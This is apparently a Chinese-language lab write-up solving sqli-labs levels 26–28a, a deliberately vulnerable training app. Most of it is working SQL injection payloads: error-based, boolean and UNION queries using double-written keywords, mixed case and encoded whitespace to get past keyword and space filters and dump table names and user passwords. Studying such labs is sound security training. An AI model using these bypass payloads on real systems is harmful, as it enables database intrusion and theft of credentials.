sqli-labs(26-28a)
26 报错注入-空格,or,and绕过
?id=1'#把#过滤了

?id=1' and+++'1'='1,把空格,+,and过滤了

?id=1' aanDnd '1'='2' oorr '1'='1双写绕过

现在需要解决的是如何才能绕过空格过滤
在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题。
-
使用两个空格替代空格
-
用注释/**/替换空格
-
用Tab键代替空格
-
回车%a0=空格
-
%20 %09 %0a %0b %0c %0d %a0 %00 -
括号()绕过空格:括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
试试()
爆库名?id=-1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1,看来()是有效的

?id=-1'||updatexml (1,concat(0x7e,(select(concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1)||'1'='1
结果超过一行

使用group_concat()将相同的名称的不同结果一行显示出来
?id=-1'||updatexml (1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1)||'1'='1

爆字段名
?id=-1'||updatexml (1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),0x7e),1)||'1'='1

看看源码,可以
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
26a Bool注入-空格,or,and绕过
不能报错注入了

判断注入类型
?id=1

?id=1"

?id=1'没结果,为单引号字符型

判断是否有括号
判断小括号有几种方法:
2'&&'1'='1
- 若查询语句为
where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2。 - 若查询语句为
where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1。
1')||'1'=('1
若查询语句有小括号正确回显,若无小括号错误回显(无回显)。
?id=2

?id=2'anandd'1'='1,返回1的查询结果,可见有()

在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题。所以这关注入在windows上就有点难了。
采用bool注入
?id=2')%26%26length(database())>=8%26%26('1'='1

?id=2')%26%26length(database())>=9%26%26('1'='1

接下来就不演示了,标准的bool注入
27 报错注入-大小写混写绕过-单引号
?id=2'报错,单引号字符型

?id=2'and '1'='1返回2的查询结果,无(),由提示看出空格被过滤了

爆库名?id=2'and(updatexml(1,concat(0x7e,database(),0x7e),1)) and '1'='1

题目说select被过滤了
大小写混写看能不能绕过
?id=-2'|| updatexml(1,concat(0x7e,(selEcT(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1)||'1'='1成功绕过

爆字段名?id=-2'|| updatexml(1,concat(0x7e,(selEcT(group_concat(column_name))from(information_schema.columns)where(table_schema='security')),0x7e),1)||'1'='1

爆密码?id=-2'|| updatexml(1,concat(0x7e,(selEcT(group_concat(password))from(security.users)),0x7e),1)||'1'='1

27a Union查询-大小写绕过-双引号
?id=1'正常显示查询结果
?id=1"不显示,双引号字符型
%0a竟然能正确显示成空格,惊了
爆库名?id=0"%0aunIon%0aSelEct%0a3,database(),6%0a||"1"="1

爆表名?id=0"%0aunIon%0aSelEct%0a3,(SelEct%0a(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),6%0a||"1"="1

爆字段名?id=0"%0aunIon%0aSelEct%0a3,(SelEct%0a(group_concat(column_name))from(information_schema.columns)where(table_schema='security')),6%0a||"1"="1

爆密码?id=0"%0aunIon%0aSelEct%0a3,(SelEct%0a(group_concat(password))from(security.users)),6%0a||"1"="1

28 Union查询-双写绕过-单引号-括号
?id=2,?id=2"显示
?id=2'不显示
?id=2')||'1'=('1正确显示页面,说明有()

?id=0')unIon%0asEleCt%0a3,5,9||('1'='1
把我的union select过滤了

尝试双写
?id=0')unIunion%0aselecton%0asEleCt%0a3,database(),9||('1'='1成功绕过

爆表名?id=0')unIunion%0aselecton%0asEleCt%0a3,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),9||('1'='1

爆字段名?id=0')unIunion%0aselecton%0asEleCt%0a3,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='security')),9||('1'='1

爆密码?id=0')unIunion%0aselecton%0asEleCt%0a3,(select(group_concat(password))from(security.users)),9||('1'='1

28a Union查询-双写绕过-单引号-括号
?id=2"正常显示

?id=2'不显示,单引号字符型
?id=2'and'1'='1显示1的查询结果,表明带()

?id=2')order by 3--+竟然不过滤括号和注释符了,顿时感觉很舒服

?id=2')union select 2,4,6--+,union select被过滤

尝试双写?id=0')uniunion selecton select 2,database(),6--+,显示成功

接下来就是和28一样的操作了,不再继续
看看源码
id加了()

只过滤了union select


浙公网安备 33010602011771号